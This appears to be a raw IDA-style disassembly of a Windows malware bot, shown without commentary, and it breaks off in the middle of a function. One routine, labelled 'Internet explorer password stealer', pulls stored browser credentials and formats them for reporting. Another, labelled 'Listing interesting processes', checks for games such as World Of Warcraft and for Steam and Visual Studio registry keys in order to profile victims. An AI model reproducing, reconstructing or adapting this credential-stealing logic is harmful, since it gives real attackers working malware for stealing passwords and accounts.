loc_415163:				; CODE XREF: sub_414EF4+25Bj
		and	dword ptr [ebp-0DF8h], 0
		cmp	dword ptr [ebp-0A00h], 0
		jnz	short loc_41517D
		push	80004003h
		call	sub_416E40


loc_41517D:				; CODE XREF: sub_414EF4+27Dj
		mov	eax, [ebp-0A00h]
		mov	[ebp-0FE8h], eax
		lea	eax, [ebp-0DF8h]
		push	eax
		push	0
		lea	eax, [ebp-0A10h]
		push	eax
		push	0
		mov	eax, [ebp-0FE8h]
		mov	eax, [eax]
		push	dword ptr [ebp-0FE8h]
		call	dword ptr [eax+3Ch]
		mov	[ebp-0FE4h], eax
		cmp	dword ptr [ebp-0FE4h], 0
		jge	short loc_4151D1
		push	offset dword_41D650
		push	dword ptr [ebp-0FE8h]
		push	dword ptr [ebp-0FE4h]
		call	sub_416E4E


loc_4151D1:				; CODE XREF: sub_414EF4+2C5j
		mov	eax, [ebp-0FE4h]
		mov	[ebp-0DF4h], eax


loc_4151DD:				; CODE XREF: sub_414EF4:loc_415A30j
		cmp	dword ptr [ebp-0DF8h], 0
		jnz	short loc_4151F0
		push	80004003h
		call	sub_416E40


loc_4151F0:				; CODE XREF: sub_414EF4+2F0j
		push	0
		lea	eax, [ebp-0E08h]
		push	eax
		push	1
		mov	eax, [ebp-0DF8h]
		mov	[ebp-1004h], eax
		mov	eax, [ebp-1004h]
		mov	eax, [eax]
		push	dword ptr [ebp-1004h]
		call	dword ptr [eax+0Ch]
		test	eax, eax
		jnz	loc_415A35
		and	dword ptr [ebp-0E14h], 0
		mov	byte ptr [ebp-4], 3
		cmp	dword ptr [ebp-0E14h], 0
		jz	short loc_415246
		mov	eax, [ebp-0E14h]
		mov	ecx, [ebp-0E14h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415246:				; CODE XREF: sub_414EF4+33Ej
		and	dword ptr [ebp-0E14h], 0
		cmp	dword ptr [ebp-0A00h], 0
		jnz	short loc_415260
		push	80004003h
		call	sub_416E40


loc_415260:				; CODE XREF: sub_414EF4+360j
		mov	eax, [ebp-0A00h]
		mov	[ebp-0FF0h], eax
		lea	eax, [ebp-0E14h]
		push	eax
		push	0
		lea	eax, [ebp-0E08h]
		push	eax
		lea	eax, [ebp-0A10h]
		push	eax
		push	0
		mov	eax, [ebp-0FF0h]
		mov	eax, [eax]
		push	dword ptr [ebp-0FF0h]
		call	dword ptr [eax+54h]
		mov	[ebp-0FECh], eax
		cmp	dword ptr [ebp-0FECh], 0
		jge	short loc_4152BB
		push	offset dword_41D650
		push	dword ptr [ebp-0FF0h]
		push	dword ptr [ebp-0FECh]
		call	sub_416E4E


loc_4152BB:				; CODE XREF: sub_414EF4+3AFj
		mov	eax, [ebp-0FECh]
		mov	[ebp-0E10h], eax


loc_4152C7:				; CODE XREF: sub_414EF4+B18j
		cmp	dword ptr [ebp-0E14h], 0
		jnz	short loc_4152DA
		push	80004003h
		call	sub_416E40


loc_4152DA:				; CODE XREF: sub_414EF4+3DAj
		push	0
		lea	eax, [ebp-0E0Ch]
		push	eax
		push	1
		mov	eax, [ebp-0E14h]
		mov	[ebp-1008h], eax
		mov	eax, [ebp-1008h]
		mov	eax, [eax]
		push	dword ptr [ebp-1008h]
		call	dword ptr [eax+0Ch]
		test	eax, eax
		jnz	loc_415A11
		push	dword ptr [ebp-0E0Ch]
		push	offset aWs	; "%ws"
		lea	eax, [ebp-210h]
		push	eax
		call	dword_4171E0
		add	esp, 0Ch
		and	dword ptr [ebp-0E18h], 0
		and	dword ptr [ebp-0EE8h], 0
		and	dword ptr [ebp-0EE4h], 0
		cmp	dword ptr [ebp-0A00h], 0
		jnz	short loc_41534D
		push	80004003h
		call	sub_416E40


loc_41534D:				; CODE XREF: sub_414EF4+44Dj
		mov	eax, [ebp-0E0Ch]


loc_415353:				; DATA XREF: .packed:off_419100o
		mov	[ebp-0FFCh], eax
		mov	eax, [ebp-0A00h]
		mov	[ebp-0FF8h], eax
		push	0
		push	dword ptr [ebp-0EE4h]
		lea	eax, [ebp-0EE8h]
		push	eax
		lea	eax, [ebp-0E18h]
		push	eax
		push	dword ptr [ebp-0FFCh]
		lea	eax, [ebp-0E08h]
		push	eax
		lea	eax, [ebp-0A10h]
		push	eax
		push	0
		mov	eax, [ebp-0FF8h]
		mov	eax, [eax]
		push	dword ptr [ebp-0FF8h]
		call	dword ptr [eax+44h]
		mov	[ebp-0FF4h], eax
		cmp	dword ptr [ebp-0FF4h], 0
		jge	short loc_4153C7
		push	offset dword_41D650
		push	dword ptr [ebp-0FF8h]
		push	dword ptr [ebp-0FF4h]
		call	sub_416E4E


loc_4153C7:				; CODE XREF: sub_414EF4+4BBj
		mov	eax, [ebp-0FF4h]
		mov	[ebp-0E10h], eax
		push	dword ptr [ebp-0EE8h]
		call	sub_416B40
		pop	ecx
		mov	ecx, [ebp-0E18h]
		dec	ecx
		cmp	eax, ecx
		jnb	loc_415477
		and	dword ptr [ebp-0EECh], 0
		and	dword ptr [ebp-0EF0h], 0
		jmp	short loc_41540C
; ---------------------------------------------------------------------------


loc_4153FE:				; CODE XREF: sub_414EF4+571j
		mov	eax, [ebp-0EF0h]
		inc	eax
		inc	eax
		mov	[ebp-0EF0h], eax


loc_41540C:				; CODE XREF: sub_414EF4+508j
		mov	eax, [ebp-0EF0h]
		cmp	eax, [ebp-0E18h]
		jnb	short loc_415467
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0EF0h]
		movzx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_41543D
		mov	eax, [ebp-0EECh]
		mov	byte ptr [ebp+eax-9FCh], 2Ch
		jmp	short loc_415458
; ---------------------------------------------------------------------------


loc_41543D:				; CODE XREF: sub_414EF4+537j
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0EF0h]
		mov	ecx, [ebp-0EECh]
		mov	al, [eax]
		mov	[ebp+ecx-9FCh],	al


loc_415458:				; CODE XREF: sub_414EF4+547j
		mov	eax, [ebp-0EECh]
		inc	eax
		mov	[ebp-0EECh], eax
		jmp	short loc_4153FE
; ---------------------------------------------------------------------------


loc_415467:				; CODE XREF: sub_414EF4+524j
		mov	eax, [ebp-0EECh]
		and	byte ptr [ebp+eax-9FDh], 0
		jmp	short loc_415492
; ---------------------------------------------------------------------------


loc_415477:				; CODE XREF: sub_414EF4+4F4j
		push	dword ptr [ebp-0EE8h]
		push	offset dword_418B64
		lea	eax, [ebp-9FCh]
		push	eax
		call	dword_4171E0
		add	esp, 0Ch


loc_415492:				; CODE XREF: sub_414EF4+581j
		push	offset byte_41DF10
		lea	eax, [ebp-7FCh]
		push	eax
		call	dword_4170FC
		push	offset byte_41DF10
		lea	eax, [ebp-0DF0h]
		push	eax
		call	dword_4170FC
		push	offset a220d5cc1 ; "220d5cc1"
		lea	eax, [ebp-0A48h]
		push	eax
		call	dword_417108
		test	eax, eax
		jnz	short loc_41550C
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		movsx	eax, byte ptr [ebp-0A57h]
		test	eax, eax
		jnz	short loc_41550C
		lea	eax, [ebp-9FCh]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D5C8
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_41550C:				; CODE XREF: sub_414EF4+5D6j
					; sub_414EF4+5EEj
		push	offset a5e7e8100 ; "5e7e8100"
		lea	eax, [ebp-0A48h]
		push	eax
		call	dword_417108
		test	eax, eax
		jnz	loc_4155CE
		push	offset byte_41DF10
		lea	eax, [ebp-0EE0h]
		push	eax
		call	dword_4170FC
		push	offset asc_4184FC ; ":"
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415587
		push	offset asc_4184FC ; ":"
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8
		pop	ecx
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp-0EE0h]
		push	eax
		call	dword_4170FC
		push	offset asc_4184FC ; ":"
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0


loc_415587:				; CODE XREF: sub_414EF4+659j
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		push	3E8h
		call	dword_41709C
		lea	eax, [ebp-0EE0h]
		push	eax
		lea	eax, [ebp-9FCh]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D564
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 18h


loc_4155CE:				; CODE XREF: sub_414EF4+62Cj
		push	offset aB9819c52 ; "b9819c52"
		lea	eax, [ebp-0A48h]
		push	eax
		call	dword_417108
		test	eax, eax
		jnz	loc_415842
		and	dword ptr [ebp-0FC8h], 0
		mov	dword ptr [ebp-0EFCh], 1
		and	dword ptr [ebp-0FCCh], 0
		jmp	short loc_415610
; ---------------------------------------------------------------------------


loc_415602:				; CODE XREF: sub_414EF4:loc_4156CFj
		mov	eax, [ebp-0FCCh]
		inc	eax
		inc	eax
		mov	[ebp-0FCCh], eax


loc_415610:				; CODE XREF: sub_414EF4+70Cj
		mov	eax, [ebp-0FCCh]
		cmp	eax, [ebp-0E18h]
		jnb	loc_4156D4
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		movzx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_415652
		mov	eax, [ebp-0FC8h]
		mov	byte ptr [ebp+eax-9FCh], 2Ch
		mov	eax, [ebp-0FC8h]
		inc	eax
		mov	[ebp-0FC8h], eax
		jmp	short loc_4156CF
; ---------------------------------------------------------------------------


loc_415652:				; CODE XREF: sub_414EF4+73Fj
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		mov	al, [eax]
		push	eax
		call	dword_4171DC
		test	eax, eax
		jnz	short loc_4156A7
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		movzx	eax, byte ptr [eax]
		cmp	eax, 40h
		jz	short loc_4156A7
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		movzx	eax, byte ptr [eax]
		cmp	eax, 2Eh
		jz	short loc_4156A7
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		movzx	eax, byte ptr [eax]
		cmp	eax, 5Fh
		jnz	short loc_4156CF


loc_4156A7:				; CODE XREF: sub_414EF4+775j
					; sub_414EF4+789j ...
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		mov	ecx, [ebp-0FC8h]
		mov	al, [eax]
		mov	[ebp+ecx-9FCh],	al
		mov	eax, [ebp-0FC8h]
		inc	eax
		mov	[ebp-0FC8h], eax


loc_4156CF:				; CODE XREF: sub_414EF4+75Cj
					; sub_414EF4+7B1j
		jmp	loc_415602
; ---------------------------------------------------------------------------


loc_4156D4:				; CODE XREF: sub_414EF4+728j
		mov	eax, [ebp-0FC8h]
		and	byte ptr [ebp+eax-9FDh], 0
		lea	eax, [ebp-9FAh]
		mov	[ebp-0EF4h], eax
		and	dword ptr [ebp-0EF8h], 0
		jmp	short loc_415704
; ---------------------------------------------------------------------------


loc_4156F7:				; CODE XREF: sub_414EF4:loc_41583Dj
		mov	eax, [ebp-0EF8h]
		inc	eax
		mov	[ebp-0EF8h], eax


loc_415704:				; CODE XREF: sub_414EF4+801j
		mov	eax, [ebp-0EE8h]
		movzx	eax, byte ptr [eax+4]
		cmp	[ebp-0EF8h], eax
		jge	loc_415842
		mov	eax, [ebp-0EF4h]
		inc	eax
		push	eax
		lea	eax, [ebp-0FC4h]
		push	eax
		call	dword_4170FC
		push	offset dword_41D554
		lea	eax, [ebp-0FC4h]
		push	eax
		call	sub_416BA8
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41575C
		push	offset dword_41D554
		lea	eax, [ebp-0FC4h]
		push	eax
		call	sub_416BA8
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0


loc_41575C:				; CODE XREF: sub_414EF4+850j
		push	offset dword_41D554
		mov	eax, [ebp-0EF4h]
		inc	eax
		push	eax
		call	sub_416BA8
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415798
		push	offset dword_41D554
		mov	eax, [ebp-0EF4h]
		inc	eax
		push	eax
		call	sub_416BA8
		pop	ecx
		pop	ecx
		inc	eax
		inc	eax
		push	eax
		lea	eax, [ebp-0F60h]
		push	eax
		call	dword_4170FC


loc_415798:				; CODE XREF: sub_414EF4+87Ej
		push	offset dword_41D554
		lea	eax, [ebp-0F60h]
		push	eax
		call	sub_416BA8
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4157C5
		push	offset dword_41D554
		lea	eax, [ebp-0F60h]
		push	eax
		call	sub_416BA8
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0


loc_4157C5:				; CODE XREF: sub_414EF4+8B9j
		push	offset dword_41D554
		mov	eax, [ebp-0EF4h]
		inc	eax
		push	eax
		call	sub_416BA8
		pop	ecx
		pop	ecx
		mov	esi, eax
		lea	eax, [ebp-0F60h]
		push	eax
		call	dword_41703C
		lea	eax, [esi+eax+9]
		mov	[ebp-0EF4h], eax
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		push	3E8h
		call	dword_41709C
		movsx	eax, byte ptr [ebp-0A57h]
		test	eax, eax
		jnz	short loc_41583D
		lea	eax, [ebp-0F60h]
		push	eax
		lea	eax, [ebp-0FC4h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D514
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_41583D:				; CODE XREF: sub_414EF4+91Fj
		jmp	loc_4156F7
; ---------------------------------------------------------------------------


loc_415842:				; CODE XREF: sub_414EF4+6EEj
					; sub_414EF4+820j
		push	offset aE161255a ; "e161255a"
		lea	eax, [ebp-0A48h]
		push	eax
		call	dword_417108
		test	eax, eax
		jnz	loc_4159E0
		push	offset aStringindex ; "StringIndex"
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416BA8
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_4159E0
		push	offset dword_41D4F4
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416BA8
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4158A4
		push	offset dword_41D4F4
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416BA8
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0


loc_4158A4:				; CODE XREF: sub_414EF4+998j
		push	8
		lea	eax, [ebp-210h]
		push	eax
		lea	eax, [ebp-0EE0h]
		push	eax
		call	dword_417100
		push	offset dword_41D4EC
		lea	eax, [ebp-0EE0h]
		push	eax
		call	sub_416BA8
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415938
		push	offset dword_41D4E4
		lea	eax, [ebp-0EE0h]
		push	eax
		call	sub_416BA8
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415938
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		push	3E8h
		call	dword_41709C
		movsx	eax, byte ptr [ebp-0A57h]
		test	eax, eax
		jnz	short loc_415933
		lea	eax, [ebp-9FCh]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D49C
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_415933:				; CODE XREF: sub_414EF4+A15j
		jmp	loc_4159E0
; ---------------------------------------------------------------------------


loc_415938:				; CODE XREF: sub_414EF4+9DBj
					; sub_414EF4+9F2j
		push	offset byte_41DF10
		lea	eax, [ebp-0EE0h]
		push	eax
		call	dword_4170FC
		push	offset dword_41D554
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415999
		push	offset dword_41D554
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8
		pop	ecx
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp-0EE0h]
		push	eax
		call	dword_4170FC
		push	offset dword_41D554
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0


loc_415999:				; CODE XREF: sub_414EF4+A6Bj
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		push	3E8h
		call	dword_41709C
		lea	eax, [ebp-0EE0h]
		push	eax
		lea	eax, [ebp-9FCh]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D440
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 18h


loc_4159E0:				; CODE XREF: sub_414EF4+962j
					; sub_414EF4+97Dj ...
		push	200h
		push	0
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch
		push	200h
		push	0
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch
		jmp	loc_4152C7
; ---------------------------------------------------------------------------


loc_415A11:				; CODE XREF: sub_414EF4+410j
		mov	byte ptr [ebp-4], 2
		cmp	dword ptr [ebp-0E14h], 0
		jz	short loc_415A30
		mov	eax, [ebp-0E14h]
		mov	ecx, [ebp-0E14h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415A30:				; CODE XREF: sub_414EF4+B28j
		jmp	loc_4151DD
; ---------------------------------------------------------------------------


loc_415A35:				; CODE XREF: sub_414EF4+326j
		mov	byte ptr [ebp-4], 1
		cmp	dword ptr [ebp-0DF8h], 0
		jz	short loc_415A54
		mov	eax, [ebp-0DF8h]
		mov	ecx, [ebp-0DF8h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415A54:				; CODE XREF: sub_414EF4+B4Cj
		jmp	loc_4150CB
; ---------------------------------------------------------------------------


loc_415A59:				; CODE XREF: sub_414EF4+20Ej
					; sub_414EF4+220j
		mov	al, [ebp-0A14h]
		mov	[ebp-0A54h], al
		push	3E8h
		call	dword_41709C
		push	dword ptr [ebp-214h]
		mov	eax, [ebp-0BF0h]
		push	dword ptr [eax]
		push	offset unk_41D404
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		push	dword ptr [ebp-0BF0h]
		call	sub_409763
		pop	ecx
		and	dword ptr [ebp-0FD8h], 0
		and	byte ptr [ebp-4], 0
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_415ABB
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-10h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415ABB:				; CODE XREF: sub_414EF4+BB9j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword ptr [ebp-0A00h], 0
		jz	short loc_415ADA
		mov	eax, [ebp-0A00h]
		mov	ecx, [ebp-0A00h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415ADA:				; CODE XREF: sub_414EF4+BD2j
		mov	eax, [ebp-0FD8h]


loc_415AE0:				; CODE XREF: sub_414EF4+B9j
					; sub_414EF4+19Cj
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		leave
		retn	4
sub_414EF4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415AF0	proc near		; CODE XREF: sub_40A9CF+7Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_41DF60, 0
		jnz	short loc_415AFF
		jmp	short locret_415B3D
; ---------------------------------------------------------------------------


loc_415AFF:				; CODE XREF: sub_415AF0+Bj
		push	1A7h
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_415B15
		jmp	short locret_415B3D
; ---------------------------------------------------------------------------


loc_415B15:				; CODE XREF: sub_415AF0+21j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aInternetExplor ; "Internet explorer password stealer"
		push	0
		push	[ebp+var_4]
		push	offset sub_414EF4
		call	sub_4095A4
		add	esp, 10h

locret_415B3D:				; CODE XREF: sub_415AF0+Dj
					; sub_415AF0+23j
		leave
		retn
sub_415AF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B3F	proc near		; CODE XREF: .packed:00416FB6p
					; .packed:00416FBFp ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jz	short locret_415B5E
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]

locret_415B5E:				; CODE XREF: sub_415B3F+Dj
		leave
		retn
sub_415B3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B60	proc near		; DATA XREF: sub_415DFD+35o

var_5D8		= dword	ptr -5D8h
var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_5CC		= dword	ptr -5CCh
var_5C8		= dword	ptr -5C8h
var_5C4		= dword	ptr -5C4h
var_5C0		= dword	ptr -5C0h
var_5BC		= dword	ptr -5BCh
var_5B8		= dword	ptr -5B8h
var_5B4		= byte ptr -5B4h
var_41C		= byte ptr -41Ch
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= dword	ptr -404h
var_400		= byte ptr -400h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5D8h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_5B8]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C
		pop	ecx
		and	[ebp+var_5C4], 0
		and	[ebp+var_410], 0
		and	[ebp+var_40C], 0
		and	[ebp+var_408], 0
		and	[ebp+var_404], 0
		and	[ebp+var_5BC], 0
		jmp	short loc_415BC2
; ---------------------------------------------------------------------------


loc_415BB5:				; CODE XREF: sub_415B60:loc_415C50j
		mov	eax, [ebp+var_5BC]
		inc	eax
		mov	[ebp+var_5BC], eax


loc_415BC2:				; CODE XREF: sub_415B60+53j
		cmp	[ebp+var_5BC], 0FFFFh
		jnb	loc_415C55
		push	400h
		lea	eax, [ebp+var_400]
		push	eax
		push	[ebp+var_5BC]
		call	dword_4171E4
		push	7
		push	offset aUnreal3	; "Unreal3"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_415C0E
		mov	[ebp+var_410], 1


loc_415C0E:				; CODE XREF: sub_415B60+A2j
		push	offset aWorldOfWarcraf ; "World	Of Warcraft"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_416DDE
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415C2F
		mov	[ebp+var_408], 1


loc_415C2F:				; CODE XREF: sub_415B60+C3j
		push	offset aConquer	; "[Conquer]"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_416DDE
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415C50
		mov	[ebp+var_404], 1


loc_415C50:				; CODE XREF: sub_415B60+E4j
		jmp	loc_415BB5
; ---------------------------------------------------------------------------


loc_415C55:				; CODE XREF: sub_415B60+6Cj
		and	[ebp+var_5C0], 0
		lea	eax, [ebp+var_5C0]
		push	eax
		push	20019h
		push	0
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\VisualStudio\\6.0\\Set"...
		push	80000002h
		call	dword_417008
		test	eax, eax
		jnz	short loc_415C88
		mov	[ebp+var_5C4], 1


loc_415C88:				; CODE XREF: sub_415B60+11Cj
		push	[ebp+var_5C0]
		call	dword_417028
		and	[ebp+var_5C0], 0
		lea	eax, [ebp+var_5C0]
		push	eax
		push	20019h
		push	0
		push	offset aSoftwareValveS ; "Software\\Valve\\Steam"
		push	80000001h
		call	dword_417008
		test	eax, eax
		jnz	short loc_415CC7
		mov	[ebp+var_40C], 1


loc_415CC7:				; CODE XREF: sub_415B60+15Bj
		push	[ebp+var_5C0]
		call	dword_417028
		movsx	eax, [ebp+var_41C]
		test	eax, eax
		jz	short loc_415D1E
		cmp	[ebp+var_410], 0
		jnz	short loc_415D1E
		cmp	[ebp+var_5C4], 0
		jnz	short loc_415D1E
		cmp	[ebp+var_40C], 0
		jnz	short loc_415D1E
		cmp	[ebp+var_408], 0
		jnz	short loc_415D1E
		cmp	[ebp+var_404], 0
		jnz	short loc_415D1E
		push	[ebp+var_5B8]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_415DF9
; ---------------------------------------------------------------------------


loc_415D1E:				; CODE XREF: sub_415B60+17Cj
					; sub_415B60+185j ...
		cmp	[ebp+var_404], 0
		jz	short loc_415D33
		mov	[ebp+var_5C8], offset aYes ; "Yes"
		jmp	short loc_415D3D
; ---------------------------------------------------------------------------


loc_415D33:				; CODE XREF: sub_415B60+1C5j
		mov	[ebp+var_5C8], offset aNo ; "No"


loc_415D3D:				; CODE XREF: sub_415B60+1D1j
		cmp	[ebp+var_408], 0
		jz	short loc_415D52
		mov	[ebp+var_5CC], offset aYes ; "Yes"
		jmp	short loc_415D5C
; ---------------------------------------------------------------------------


loc_415D52:				; CODE XREF: sub_415B60+1E4j
		mov	[ebp+var_5CC], offset aNo ; "No"


loc_415D5C:				; CODE XREF: sub_415B60+1F0j
		cmp	[ebp+var_40C], 0
		jz	short loc_415D71
		mov	[ebp+var_5D0], offset aYes ; "Yes"
		jmp	short loc_415D7B
; ---------------------------------------------------------------------------


loc_415D71:				; CODE XREF: sub_415B60+203j
		mov	[ebp+var_5D0], offset aNo ; "No"


loc_415D7B:				; CODE XREF: sub_415B60+20Fj
		cmp	[ebp+var_5C4], 0
		jz	short loc_415D90
		mov	[ebp+var_5D4], offset aYes ; "Yes"
		jmp	short loc_415D9A
; ---------------------------------------------------------------------------


loc_415D90:				; CODE XREF: sub_415B60+222j
		mov	[ebp+var_5D4], offset aNo ; "No"


loc_415D9A:				; CODE XREF: sub_415B60+22Ej
		cmp	[ebp+var_410], 0
		jz	short loc_415DAF
		mov	[ebp+var_5D8], offset aYes ; "Yes"
		jmp	short loc_415DB9
; ---------------------------------------------------------------------------


loc_415DAF:				; CODE XREF: sub_415B60+241j
		mov	[ebp+var_5D8], offset aNo ; "No"


loc_415DB9:				; CODE XREF: sub_415B60+24Dj
		push	[ebp+var_5C8]
		push	[ebp+var_5CC]
		push	[ebp+var_5D0]
		push	[ebp+var_5D4]
		push	[ebp+var_5D8]
		push	offset dword_41D684
		lea	eax, [ebp+var_5B4]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		push	[ebp+var_5B8]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_415DF9:				; CODE XREF: sub_415B60+1B9j
		leave
		retn	4
sub_415B60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DFD	proc near		; CODE XREF: sub_40A9CF+12FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_415E17
		jmp	short locret_415E3F
; ---------------------------------------------------------------------------


loc_415E17:				; CODE XREF: sub_415DFD+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aListingInteres ; "Listing interesting processes"
		push	0
		push	[ebp+var_4]
		push	offset sub_415B60
		call	sub_4095A4
		add	esp, 10h

locret_415E3F:				; CODE XREF: sub_415DFD+18j
		leave
		retn
sub_415DFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415E41	proc near		; CODE XREF: sub_415EB7+37p
					; sub_415EB7+59p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_415E52
; ---------------------------------------------------------------------------


loc_415E4B:				; CODE XREF: sub_415E41+69j
					; sub_415E41:loc_415EB1j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_415E52:				; CODE XREF: sub_415E41+8j
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+eax*4], 0
		jz	short loc_415EB3
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_407ACA
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EB1
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+eax*4+4], 0
		jz	short loc_415EAC
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_407ACA
		add	esp, 0Ch
